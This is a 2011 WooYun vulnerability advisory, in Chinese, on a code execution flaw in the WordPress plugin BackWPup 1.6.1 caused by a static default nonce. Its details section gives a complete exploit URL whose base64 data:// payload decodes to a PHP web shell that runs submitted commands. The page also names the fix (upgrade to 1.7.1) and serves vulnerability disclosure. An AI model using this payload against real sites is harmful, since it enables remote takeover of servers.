当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-01744

漏洞标题:WordPress插件BackWPup远程和本地代码执行漏洞

相关厂商:WordPress.org

漏洞作者:

提交时间:2011-03-28 21:17

修复时间:2011-03-29 11:02

公开时间:2011-03-29 11:02

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-03-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-03-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

一个漏洞被发现在WordPress的插件BackWPup
1.6.1可利用网页上执行本地或远程代码
服务器。 输入传递到组件“wp_xml_export.php”通过
“wpabs”变量允许纳入和执行本地或远程
PHP文件,只要有“_nonce”的价值是众所周知的。 在“_nonce”的价值
依赖于一个静态常量这不是在脚本中定义的含义
它默认值“822728c8d9”。

详细说明:

wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ
vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX
Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0
ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d

漏洞证明:

受影响的版本。 1.6.1(验证),可能还有其他

修复方案:

升级到版本1.7.1

版权声明:转载请注明来源 @乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝